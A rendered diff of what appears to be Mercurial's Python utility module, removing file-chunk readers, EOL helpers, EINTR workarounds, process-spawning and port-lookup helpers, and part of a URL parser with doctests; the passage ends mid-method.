|
|||
2492 | queue.popleft() |
|
|||
2493 | buf.append(chunk) |
|
|||
2494 | # self._chunkoffset remains at 0. |
|
|||
2495 | continue |
|
|||
2496 |
|
||||
2497 | chunkremaining = chunkl - offset |
|
|||
2498 |
|
||||
2499 | # Use all of unconsumed part of chunk. |
|
|||
2500 | if left >= chunkremaining: |
|
|||
2501 | left -= chunkremaining |
|
|||
2502 | queue.popleft() |
|
|||
2503 | # offset == 0 is enabled by block above, so this won't merely |
|
|||
2504 | # copy via ``chunk[0:]``. |
|
|||
2505 | buf.append(chunk[offset:]) |
|
|||
2506 | self._chunkoffset = 0 |
|
|||
2507 |
|
||||
2508 | # Partial chunk needed. |
|
|||
2509 | else: |
|
|||
2510 | buf.append(chunk[offset:offset + left]) |
|
|||
2511 | self._chunkoffset += left |
|
|||
2512 | left -= chunkremaining |
|
|||
2513 |
|
||||
2514 | return ''.join(buf) |
|
|||
2515 |
|
||||
2516 | def filechunkiter(f, size=131072, limit=None): |
|
|||
2517 | """Create a generator that produces the data in the file size |
|
|||
2518 | (default 131072) bytes at a time, up to optional limit (default is |
|
|||
2519 | to read all data). Chunks may be less than size bytes if the |
|
|||
2520 | chunk is the last chunk in the file, or the file is a socket or |
|
|||
2521 | some other type of file that sometimes reads less data than is |
|
|||
2522 | requested.""" |
|
|||
2523 | assert size >= 0 |
|
|||
2524 | assert limit is None or limit >= 0 |
|
|||
2525 | while True: |
|
|||
2526 | if limit is None: |
|
|||
2527 | nbytes = size |
|
|||
2528 | else: |
|
|||
2529 | nbytes = min(limit, size) |
|
|||
2530 | s = nbytes and f.read(nbytes) |
|
|||
2531 | if not s: |
|
|||
2532 | break |
|
|||
2533 | if limit: |
|
|||
2534 | limit -= len(s) |
|
|||
2535 | yield s |
|
|||
2536 |
|
||||
2537 | class cappedreader(object): |
|
|||
2538 | """A file object proxy that allows reading up to N bytes. |
|
|||
2539 |
|
||||
2540 | Given a source file object, instances of this type allow reading up to |
|
|||
2541 | N bytes from that source file object. Attempts to read past the allowed |
|
|||
2542 | limit are treated as EOF. |
|
|||
2543 |
|
||||
2544 | It is assumed that I/O is not performed on the original file object |
|
|||
2545 | in addition to I/O that is performed by this instance. If there is, |
|
|||
2546 | state tracking will get out of sync and unexpected results will ensue. |
|
|||
2547 | """ |
|
|||
2548 | def __init__(self, fh, limit): |
|
|||
2549 | """Allow reading up to <limit> bytes from <fh>.""" |
|
|||
2550 | self._fh = fh |
|
|||
2551 | self._left = limit |
|
|||
2552 |
|
||||
2553 | def read(self, n=-1): |
|
|||
2554 | if not self._left: |
|
|||
2555 | return b'' |
|
|||
2556 |
|
||||
2557 | if n < 0: |
|
|||
2558 | n = self._left |
|
|||
2559 |
|
||||
2560 | data = self._fh.read(min(n, self._left)) |
|
|||
2561 | self._left -= len(data) |
|
|||
2562 | assert self._left >= 0 |
|
|||
2563 |
|
||||
2564 | return data |
|
|||
2565 |
|
||||
2566 | def readinto(self, b): |
|
|||
2567 | res = self.read(len(b)) |
|
|||
2568 | if res is None: |
|
|||
2569 | return None |
|
|||
2570 |
|
||||
2571 | b[0:len(res)] = res |
|
|||
2572 | return len(res) |
|
|||
2573 |
|
||||
2574 | def stringmatcher(pattern, casesensitive=True): |
|
42 | def stringmatcher(pattern, casesensitive=True): | |
2575 | """ |
|
43 | """ | |
2576 | accepts a string, possibly starting with 're:' or 'literal:' prefix. |
|
44 | accepts a string, possibly starting with 're:' or 'literal:' prefix. | |
@@ -2667,90 +135,6 b' def ellipsis(text, maxlength=400):' | |||||
2667 | """Trim string to at most maxlength (default: 400) columns in display.""" |
|
135 | """Trim string to at most maxlength (default: 400) columns in display.""" | |
2668 | return encoding.trim(text, maxlength, ellipsis='...') |
|
136 | return encoding.trim(text, maxlength, ellipsis='...') | |
2669 |
|
137 | |||
2670 | def unitcountfn(*unittable): |
|
|||
2671 | '''return a function that renders a readable count of some quantity''' |
|
|||
2672 |
|
||||
2673 | def go(count): |
|
|||
2674 | for multiplier, divisor, format in unittable: |
|
|||
2675 | if abs(count) >= divisor * multiplier: |
|
|||
2676 | return format % (count / float(divisor)) |
|
|||
2677 | return unittable[-1][2] % count |
|
|||
2678 |
|
||||
2679 | return go |
|
|||
2680 |
|
||||
2681 | def processlinerange(fromline, toline): |
|
|||
2682 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
|||
2683 | 0-based range. |
|
|||
2684 |
|
||||
2685 | >>> processlinerange(10, 20) |
|
|||
2686 | (9, 20) |
|
|||
2687 | >>> processlinerange(2, 1) |
|
|||
2688 | Traceback (most recent call last): |
|
|||
2689 | ... |
|
|||
2690 | ParseError: line range must be positive |
|
|||
2691 | >>> processlinerange(0, 5) |
|
|||
2692 | Traceback (most recent call last): |
|
|||
2693 | ... |
|
|||
2694 | ParseError: fromline must be strictly positive |
|
|||
2695 | """ |
|
|||
2696 | if toline - fromline < 0: |
|
|||
2697 | raise error.ParseError(_("line range must be positive")) |
|
|||
2698 | if fromline < 1: |
|
|||
2699 | raise error.ParseError(_("fromline must be strictly positive")) |
|
|||
2700 | return fromline - 1, toline |
|
|||
2701 |
|
||||
2702 | bytecount = unitcountfn( |
|
|||
2703 | (100, 1 << 30, _('%.0f GB')), |
|
|||
2704 | (10, 1 << 30, _('%.1f GB')), |
|
|||
2705 | (1, 1 << 30, _('%.2f GB')), |
|
|||
2706 | (100, 1 << 20, _('%.0f MB')), |
|
|||
2707 | (10, 1 << 20, _('%.1f MB')), |
|
|||
2708 | (1, 1 << 20, _('%.2f MB')), |
|
|||
2709 | (100, 1 << 10, _('%.0f KB')), |
|
|||
2710 | (10, 1 << 10, _('%.1f KB')), |
|
|||
2711 | (1, 1 << 10, _('%.2f KB')), |
|
|||
2712 | (1, 1, _('%.0f bytes')), |
|
|||
2713 | ) |
|
|||
2714 |
|
||||
2715 | class transformingwriter(object): |
|
|||
2716 | """Writable file wrapper to transform data by function""" |
|
|||
2717 |
|
||||
2718 | def __init__(self, fp, encode): |
|
|||
2719 | self._fp = fp |
|
|||
2720 | self._encode = encode |
|
|||
2721 |
|
||||
2722 | def close(self): |
|
|||
2723 | self._fp.close() |
|
|||
2724 |
|
||||
2725 | def flush(self): |
|
|||
2726 | self._fp.flush() |
|
|||
2727 |
|
||||
2728 | def write(self, data): |
|
|||
2729 | return self._fp.write(self._encode(data)) |
|
|||
2730 |
|
||||
2731 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
|||
2732 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
|||
2733 | # stray CR is an error. |
|
|||
2734 | _eolre = remod.compile(br'\r*\n') |
|
|||
2735 |
|
||||
2736 | def tolf(s): |
|
|||
2737 | return _eolre.sub('\n', s) |
|
|||
2738 |
|
||||
2739 | def tocrlf(s): |
|
|||
2740 | return _eolre.sub('\r\n', s) |
|
|||
2741 |
|
||||
2742 | def _crlfwriter(fp): |
|
|||
2743 | return transformingwriter(fp, tocrlf) |
|
|||
2744 |
|
||||
2745 | if pycompat.oslinesep == '\r\n': |
|
|||
2746 | tonativeeol = tocrlf |
|
|||
2747 | fromnativeeol = tolf |
|
|||
2748 | nativeeolwriter = _crlfwriter |
|
|||
2749 | else: |
|
|||
2750 | tonativeeol = pycompat.identity |
|
|||
2751 | fromnativeeol = pycompat.identity |
|
|||
2752 | nativeeolwriter = pycompat.identity |
|
|||
2753 |
|
||||
2754 | def escapestr(s): |
|
138 | def escapestr(s): | |
2755 | # call underlying function of s.encode('string_escape') directly for |
|
139 | # call underlying function of s.encode('string_escape') directly for | |
2756 | # Python 3 compatibility |
|
140 | # Python 3 compatibility | |
@@ -2892,178 +276,6 b" def wrap(line, width, initindent='', han" | |||||
2892 | subsequent_indent=hangindent) |
|
276 | subsequent_indent=hangindent) | |
2893 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
|
277 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) | |
2894 |
|
278 | |||
2895 | if (pyplatform.python_implementation() == 'CPython' and |
|
|||
2896 | sys.version_info < (3, 0)): |
|
|||
2897 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
|||
2898 | # correctly. The following table shows what CPython version (and functions) |
|
|||
2899 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
|||
2900 | # |
|
|||
2901 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
|||
2902 | # -------------------------------------------------- |
|
|||
2903 | # fp.__iter__ | buggy | buggy | okay |
|
|||
2904 | # fp.read* | buggy | okay [1] | okay |
|
|||
2905 | # |
|
|||
2906 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
|||
2907 | # |
|
|||
2908 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
|||
2909 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
|||
2910 | # |
|
|||
2911 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
|||
2912 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
|||
2913 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
|||
2914 | # fp.__iter__ but not other fp.read* methods. |
|
|||
2915 | # |
|
|||
2916 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
|||
2917 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
|||
2918 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
|||
2919 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
|||
2920 | # to minimize the performance impact. |
|
|||
2921 | if sys.version_info >= (2, 7, 4): |
|
|||
2922 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
|||
2923 | def _safeiterfile(fp): |
|
|||
2924 | return iter(fp.readline, '') |
|
|||
2925 | else: |
|
|||
2926 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
|||
2927 | # note: this may block longer than necessary because of bufsize. |
|
|||
2928 | def _safeiterfile(fp, bufsize=4096): |
|
|||
2929 | fd = fp.fileno() |
|
|||
2930 | line = '' |
|
|||
2931 | while True: |
|
|||
2932 | try: |
|
|||
2933 | buf = os.read(fd, bufsize) |
|
|||
2934 | except OSError as ex: |
|
|||
2935 | # os.read only raises EINTR before any data is read |
|
|||
2936 | if ex.errno == errno.EINTR: |
|
|||
2937 | continue |
|
|||
2938 | else: |
|
|||
2939 | raise |
|
|||
2940 | line += buf |
|
|||
2941 | if '\n' in buf: |
|
|||
2942 | splitted = line.splitlines(True) |
|
|||
2943 | line = '' |
|
|||
2944 | for l in splitted: |
|
|||
2945 | if l[-1] == '\n': |
|
|||
2946 | yield l |
|
|||
2947 | else: |
|
|||
2948 | line = l |
|
|||
2949 | if not buf: |
|
|||
2950 | break |
|
|||
2951 | if line: |
|
|||
2952 | yield line |
|
|||
2953 |
|
||||
2954 | def iterfile(fp): |
|
|||
2955 | fastpath = True |
|
|||
2956 | if type(fp) is file: |
|
|||
2957 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
|||
2958 | if fastpath: |
|
|||
2959 | return fp |
|
|||
2960 | else: |
|
|||
2961 | return _safeiterfile(fp) |
|
|||
2962 | else: |
|
|||
2963 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
|||
2964 | def iterfile(fp): |
|
|||
2965 | return fp |
|
|||
2966 |
|
||||
2967 | def iterlines(iterator): |
|
|||
2968 | for chunk in iterator: |
|
|||
2969 | for line in chunk.splitlines(): |
|
|||
2970 | yield line |
|
|||
2971 |
|
||||
2972 | def expandpath(path): |
|
|||
2973 | return os.path.expanduser(os.path.expandvars(path)) |
|
|||
2974 |
|
||||
2975 | def hgcmd(): |
|
|||
2976 | """Return the command used to execute current hg |
|
|||
2977 |
|
||||
2978 | This is different from hgexecutable() because on Windows we want |
|
|||
2979 | to avoid things opening new shell windows like batch files, so we |
|
|||
2980 | get either the python call or current executable. |
|
|||
2981 | """ |
|
|||
2982 | if mainfrozen(): |
|
|||
2983 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
|||
2984 | # Env variable set by py2app |
|
|||
2985 | return [encoding.environ['EXECUTABLEPATH']] |
|
|||
2986 | else: |
|
|||
2987 | return [pycompat.sysexecutable] |
|
|||
2988 | return gethgcmd() |
|
|||
2989 |
|
||||
2990 | def rundetached(args, condfn): |
|
|||
2991 | """Execute the argument list in a detached process. |
|
|||
2992 |
|
||||
2993 | condfn is a callable which is called repeatedly and should return |
|
|||
2994 | True once the child process is known to have started successfully. |
|
|||
2995 | At this point, the child process PID is returned. If the child |
|
|||
2996 | process fails to start or finishes before condfn() evaluates to |
|
|||
2997 | True, return -1. |
|
|||
2998 | """ |
|
|||
2999 | # Windows case is easier because the child process is either |
|
|||
3000 | # successfully starting and validating the condition or exiting |
|
|||
3001 | # on failure. We just poll on its PID. On Unix, if the child |
|
|||
3002 | # process fails to start, it will be left in a zombie state until |
|
|||
3003 | # the parent wait on it, which we cannot do since we expect a long |
|
|||
3004 | # running process on success. Instead we listen for SIGCHLD telling |
|
|||
3005 | # us our child process terminated. |
|
|||
3006 | terminated = set() |
|
|||
3007 | def handler(signum, frame): |
|
|||
3008 | terminated.add(os.wait()) |
|
|||
3009 | prevhandler = None |
|
|||
3010 | SIGCHLD = getattr(signal, 'SIGCHLD', None) |
|
|||
3011 | if SIGCHLD is not None: |
|
|||
3012 | prevhandler = signal.signal(SIGCHLD, handler) |
|
|||
3013 | try: |
|
|||
3014 | pid = spawndetached(args) |
|
|||
3015 | while not condfn(): |
|
|||
3016 | if ((pid in terminated or not testpid(pid)) |
|
|||
3017 | and not condfn()): |
|
|||
3018 | return -1 |
|
|||
3019 | time.sleep(0.1) |
|
|||
3020 | return pid |
|
|||
3021 | finally: |
|
|||
3022 | if prevhandler is not None: |
|
|||
3023 | signal.signal(signal.SIGCHLD, prevhandler) |
|
|||
3024 |
|
||||
3025 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
|||
3026 | """Return the result of interpolating items in the mapping into string s. |
|
|||
3027 |
|
||||
3028 | prefix is a single character string, or a two character string with |
|
|||
3029 | a backslash as the first character if the prefix needs to be escaped in |
|
|||
3030 | a regular expression. |
|
|||
3031 |
|
||||
3032 | fn is an optional function that will be applied to the replacement text |
|
|||
3033 | just before replacement. |
|
|||
3034 |
|
||||
3035 | escape_prefix is an optional flag that allows using doubled prefix for |
|
|||
3036 | its escaping. |
|
|||
3037 | """ |
|
|||
3038 | fn = fn or (lambda s: s) |
|
|||
3039 | patterns = '|'.join(mapping.keys()) |
|
|||
3040 | if escape_prefix: |
|
|||
3041 | patterns += '|' + prefix |
|
|||
3042 | if len(prefix) > 1: |
|
|||
3043 | prefix_char = prefix[1:] |
|
|||
3044 | else: |
|
|||
3045 | prefix_char = prefix |
|
|||
3046 | mapping[prefix_char] = prefix_char |
|
|||
3047 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
|||
3048 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
|||
3049 |
|
||||
3050 | def getport(port): |
|
|||
3051 | """Return the port for a given network service. |
|
|||
3052 |
|
||||
3053 | If port is an integer, it's returned as is. If it's a string, it's |
|
|||
3054 | looked up using socket.getservbyname(). If there's no matching |
|
|||
3055 | service, error.Abort is raised. |
|
|||
3056 | """ |
|
|||
3057 | try: |
|
|||
3058 | return int(port) |
|
|||
3059 | except ValueError: |
|
|||
3060 | pass |
|
|||
3061 |
|
||||
3062 | try: |
|
|||
3063 | return socket.getservbyname(pycompat.sysstr(port)) |
|
|||
3064 | except socket.error: |
|
|||
3065 | raise Abort(_("no port number associated with service '%s'") % port) |
|
|||
3066 |
|
||||
3067 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
|
279 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, | |
3068 | '0': False, 'no': False, 'false': False, 'off': False, |
|
280 | '0': False, 'no': False, 'false': False, 'off': False, | |
3069 | 'never': False} |
|
281 | 'never': False} | |
@@ -3074,1270 +286,3 b' def parsebool(s):' | |||||
3074 | If s is not a valid boolean, returns None. |
|
286 | If s is not a valid boolean, returns None. | |
3075 | """ |
|
287 | """ | |
3076 | return _booleans.get(s.lower(), None) |
|
288 | return _booleans.get(s.lower(), None) | |
3077 |
|
||||
3078 | class url(object): |
|
|||
3079 | r"""Reliable URL parser. |
|
|||
3080 |
|
||||
3081 | This parses URLs and provides attributes for the following |
|
|||
3082 | components: |
|
|||
3083 |
|
||||
3084 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
|||
3085 |
|
||||
3086 | Missing components are set to None. The only exception is |
|
|||
3087 | fragment, which is set to '' if present but empty. |
|
|||
3088 |
|
||||
3089 | If parsefragment is False, fragment is included in query. If |
|
|||
3090 | parsequery is False, query is included in path. If both are |
|
|||
3091 | False, both fragment and query are included in path. |
|
|||
3092 |
|
||||
3093 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
|||
3094 |
|
||||
3095 | Note that for backward compatibility reasons, bundle URLs do not |
|
|||
3096 | take host names. That means 'bundle://../' has a path of '../'. |
|
|||
3097 |
|
||||
3098 | Examples: |
|
|||
3099 |
|
||||
3100 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
|||
3101 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
|||
3102 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
|||
3103 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
|||
3104 | >>> url(b'file:///home/joe/repo') |
|
|||
3105 | <url scheme: 'file', path: '/home/joe/repo'> |
|
|||
3106 | >>> url(b'file:///c:/temp/foo/') |
|
|||
3107 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
|||
3108 | >>> url(b'bundle:foo') |
|
|||
3109 | <url scheme: 'bundle', path: 'foo'> |
|
|||
3110 | >>> url(b'bundle://../foo') |
|
|||
3111 | <url scheme: 'bundle', path: '../foo'> |
|
|||
3112 | >>> url(br'c:\foo\bar') |
|
|||
3113 | <url path: 'c:\\foo\\bar'> |
|
|||
3114 | >>> url(br'\\blah\blah\blah') |
|
|||
3115 | <url path: '\\\\blah\\blah\\blah'> |
|
|||
3116 | >>> url(br'\\blah\blah\blah#baz') |
|
|||
3117 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
|||
3118 | >>> url(br'file:///C:\users\me') |
|
|||
3119 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
|||
3120 |
|
||||
3121 | Authentication credentials: |
|
|||
3122 |
|
||||
3123 | >>> url(b'ssh://joe:xyz@x/repo') |
|
|||
3124 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
|||
3125 | >>> url(b'ssh://joe@x/repo') |
|
|||
3126 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
|||
3127 |
|
||||
3128 | Query strings and fragments: |
|
|||
3129 |
|
||||
3130 | >>> url(b'http://host/a?b#c') |
|
|||
3131 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
|||
3132 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
|||
3133 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
|||
3134 |
|
||||
3135 | Empty path: |
|
|||
3136 |
|
||||
3137 | >>> url(b'') |
|
|||
3138 | <url path: ''> |
|
|||
3139 | >>> url(b'#a') |
|
|||
3140 | <url path: '', fragment: 'a'> |
|
|||
3141 | >>> url(b'http://host/') |
|
|||
3142 | <url scheme: 'http', host: 'host', path: ''> |
|
|||
3143 | >>> url(b'http://host/#a') |
|
|||
3144 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
|||
3145 |
|
||||
3146 | Only scheme: |
|
|||
3147 |
|
||||
3148 | >>> url(b'http:') |
|
|||
3149 | <url scheme: 'http'> |
|
|||
3150 | """ |
|
|||
3151 |
|
||||
3152 | _safechars = "!~*'()+" |
|
|||
3153 | _safepchars = "/!~*'()+:\\" |
|
|||
3154 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
|
|||
3155 |
|
||||
3156 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
|||
3157 | # We slowly chomp away at path until we have only the path left |
|
|||
3158 | self.scheme = self.user = self.passwd = self.host = None |
|
|||
3159 | self.port = self.path = self.query = self.fragment = None |
|
|||
3160 | self._localpath = True |
|
|||
3161 | self._hostport = '' |
|
|||
3162 | self._origpath = path |
|
|||
3163 |
|
||||
3164 | if parsefragment and '#' in path: |
|
|||
3165 | path, self.fragment = path.split('#', 1) |
|
|||
3166 |
|
||||
3167 | # special case for Windows drive letters and UNC paths |
|
|||
3168 | if hasdriveletter(path) or path.startswith('\\\\'): |
|
|||
3169 | self.path = path |
|
|||
3170 | return |
|
|||
3171 |
|
||||
3172 | # For compatibility reasons, we can't handle bundle paths as |
|
|||
3173 | # normal URLS |
|
|||
3174 | if path.startswith('bundle:'): |
|
|||
3175 | self.scheme = 'bundle' |
|
|||
3176 | path = path[7:] |
|
|||
3177 | if path.startswith('//'): |
|
|||
3178 | path = path[2:] |
|
|||
3179 | self.path = path |
|
|||
3180 | return |
|
|||
3181 |
|
||||
3182 | if self._matchscheme(path): |
|
|||
3183 | parts = path.split(':', 1) |
|
|||
3184 | if parts[0]: |
|
|||
3185 | self.scheme, path = parts |
|
|||
3186 | self._localpath = False |
|
|||
3187 |
|
||||
3188 | if not path: |
|
|||
3189 | path = None |
|
|||
3190 | if self._localpath: |
|
|||
3191 | self.path = '' |
|
|||
3192 | return |
|
|||
3193 | else: |
|
|||
3194 | if self._localpath: |
|
|||
3195 | self.path = path |
|
|||
3196 | return |
|
|||
3197 |
|
||||
3198 | if parsequery and '?' in path: |
|
|||
3199 | path, self.query = path.split('?', 1) |
|
|||
3200 | if not path: |
|
|||
3201 | path = None |
|
|||
3202 | if not self.query: |
|
|||
3203 | self.query = None |
|
|||
3204 |
|
||||
3205 | # // is required to specify a host/authority |
|
|||
3206 | if path and path.startswith('//'): |
|
|||
3207 | parts = path[2:].split('/', 1) |
|
|||
3208 | if len(parts) > 1: |
|
|||
3209 | self.host, path = parts |
|
|||
3210 | else: |
|
|||
3211 | self.host = parts[0] |
|
|||
3212 | path = None |
|
|||
3213 | if not self.host: |
|
|||
3214 | self.host = None |
|
|||
3215 | # path of file:///d is /d |
|
|||
3216 | # path of file:///d:/ is d:/, not /d:/ |
|
|||
3217 | if path and not hasdriveletter(path): |
|
|||
3218 | path = '/' + path |
|
|||
3219 |
|
||||
3220 | if self.host and '@' in self.host: |
|
|||
3221 | self.user, self.host = self.host.rsplit('@', 1) |
|
|||
3222 | if ':' in self.user: |
|
|||
3223 | self.user, self.passwd = self.user.split(':', 1) |
|
|||
3224 | if not self.host: |
|
|||
3225 | self.host = None |
|
|||
3226 |
|
||||
3227 | # Don't split on colons in IPv6 addresses without ports |
|
|||
3228 | if (self.host and ':' in self.host and |
|
|||
3229 | not (self.host.startswith('[') and self.host.endswith(']'))): |
|
|||
3230 | self._hostport = self.host |
|
|||
3231 | self.host, self.port = self.host.rsplit(':', 1) |
|
|||
3232 | if not self.host: |
|
|||
3233 | self.host = None |
|
|||
3234 |
|
||||
3235 | if (self.host and self.scheme == 'file' and |
|
|||
3236 | self.host not in ('localhost', '127.0.0.1', '[::1]')): |
|
|||
3237 | raise Abort(_('file:// URLs can only refer to localhost')) |
|
|||
3238 |
|
||||
3239 | self.path = path |
|
|||
3240 |
|
||||
3241 | # leave the query string escaped |
|
|||
3242 | for a in ('user', 'passwd', 'host', 'port', |
|
|||
3243 | 'path', 'fragment'): |
|
|||
3244 | v = getattr(self, a) |
|
|||
3245 | if v is not None: |
|
|||
3246 | setattr(self, a, urlreq.unquote(v)) |
|
|||
3247 |
|
||||
3248 | @encoding.strmethod |
|
|||
3249 | def __repr__(self): |
|
|||
3250 | attrs = [] |
|
|||
3251 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
|
|||
3252 | 'query', 'fragment'): |
|
|||
3253 | v = getattr(self, a) |
|
|||
3254 | if v is not None: |
|
|||
3255 | attrs.append('%s: %r' % (a, v)) |
|
|||
3256 | return '<url %s>' % ', '.join(attrs) |
|
|||
3257 |
|
||||
3258 | def __bytes__(self): |
|
|||
3259 | r"""Join the URL's components back into a URL string. |
|
|||
3260 |
|
||||
3261 | Examples: |
|
|||
3262 |
|
||||
3263 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
|||
3264 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
|||
3265 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
|||
3266 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
|||
3267 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
|||
3268 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
|||
3269 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
|||
3270 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
|||
3271 | >>> bytes(url(b'http://localhost:80//')) |
|
|||
3272 | 'http://localhost:80//' |
|
|||
3273 | >>> bytes(url(b'http://localhost:80/')) |
|
|||
3274 | 'http://localhost:80/' |
|
|||
3275 | >>> bytes(url(b'http://localhost:80')) |
|
|||
3276 | 'http://localhost:80/' |
|
|||
3277 | >>> bytes(url(b'bundle:foo')) |
|
|||
3278 | 'bundle:foo' |
|
|||
3279 | >>> bytes(url(b'bundle://../foo')) |
|
|||
3280 | 'bundle:../foo' |
|
|||
3281 | >>> bytes(url(b'path')) |
|
|||
3282 | 'path' |
|
|||
3283 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
|||
3284 | 'file:///tmp/foo/bar' |
|
|||
3285 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
|||
3286 | 'file:///c:/tmp/foo/bar' |
|
|||
3287 | >>> print(url(br'bundle:foo\bar')) |
|
|||
3288 | bundle:foo\bar |
|
|||
3289 | >>> print(url(br'file:///D:\data\hg')) |
|
|||
3290 | file:///D:\data\hg |
|
|||
3291 | """ |
|
|||
3292 | if self._localpath: |
|
|||
3293 | s = self.path |
|
|||
3294 | if self.scheme == 'bundle': |
|
|||
3295 | s = 'bundle:' + s |
|
|||
3296 | if self.fragment: |
|
|||
3297 | s += '#' + self.fragment |
|
|||
3298 | return s |
|
|||
3299 |
|
||||
3300 | s = self.scheme + ':' |
|
|||
3301 | if self.user or self.passwd or self.host: |
|
|||
3302 | s += '//' |
|
|||
3303 | elif self.scheme and (not self.path or self.path.startswith('/') |
|
|||
3304 | or hasdriveletter(self.path)): |
|
|||
3305 | s += '//' |
|
|||
3306 | if hasdriveletter(self.path): |
|
|||
3307 | s += '/' |
|
|||
3308 | if self.user: |
|
|||
3309 | s += urlreq.quote(self.user, safe=self._safechars) |
|
|||
3310 | if self.passwd: |
|
|||
3311 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
|||
3312 | if self.user or self.passwd: |
|
|||
3313 | s += '@' |
|
|||
3314 | if self.host: |
|
|||
3315 | if not (self.host.startswith('[') and self.host.endswith(']')): |
|
|||
3316 | s += urlreq.quote(self.host) |
|
|||
3317 | else: |
|
|||
3318 | s += self.host |
|
|||
3319 | if self.port: |
|
|||
3320 | s += ':' + urlreq.quote(self.port) |
|
|||
3321 | if self.host: |
|
|||
3322 | s += '/' |
|
|||
3323 | if self.path: |
|
|||
3324 | # TODO: similar to the query string, we should not unescape the |
|
|||
3325 | # path when we store it, the path might contain '%2f' = '/', |
|
|||
3326 | # which we should *not* escape. |
|
|||
3327 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
|||
3328 | if self.query: |
|
|||
3329 | # we store the query in escaped form. |
|
|||
3330 | s += '?' + self.query |
|
|||
3331 | if self.fragment is not None: |
|
|||
3332 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
|||
3333 | return s |
|
|||
3334 |
|
||||
3335 | __str__ = encoding.strmethod(__bytes__) |
|
|||
3336 |
|
||||
3337 | def authinfo(self): |
|
|||
3338 | user, passwd = self.user, self.passwd |
|
|||
3339 | try: |
|
|||
3340 | self.user, self.passwd = None, None |
|
|||
3341 | s = bytes(self) |
|
|||
3342 | finally: |
|
|||
3343 | self.user, self.passwd = user, passwd |
|
|||
3344 | if not self.user: |
|
|||
3345 | return (s, None) |
|
|||
3346 | # authinfo[1] is passed to urllib2 password manager, and its |
|
|||
3347 | # URIs must not contain credentials. The host is passed in the |
|
|||
3348 | # URIs list because Python < 2.4.3 uses only that to search for |
|
|||
3349 | # a password. |
|
|||
3350 | return (s, (None, (s, self.host), |
|
|||
3351 | self.user, self.passwd or '')) |
|
|||
3352 |
|
||||
3353 | def isabs(self): |
|
|||
3354 | if self.scheme and self.scheme != 'file': |
|
|||
3355 | return True # remote URL |
|
|||
3356 | if hasdriveletter(self.path): |
|
|||
3357 | return True # absolute for our purposes - can't be joined() |
|
|||
3358 | if self.path.startswith(br'\\'): |
|
|||
3359 | return True # Windows UNC path |
|
|||
3360 | if self.path.startswith('/'): |
|
|||
3361 | return True # POSIX-style |
|
|||
3362 | return False |
|
|||
3363 |
|
||||
3364 | def localpath(self): |
|
|||
3365 | if self.scheme == 'file' or self.scheme == 'bundle': |
|
|||
3366 | path = self.path or '/' |
|
|||
3367 | # For Windows, we need to promote hosts containing drive |
|
|||
3368 | # letters to paths with drive letters. |
|
|||
3369 | if hasdriveletter(self._hostport): |
|
|||
3370 | path = self._hostport + '/' + self.path |
|
|||
3371 | elif (self.host is not None and self.path |
|
|||
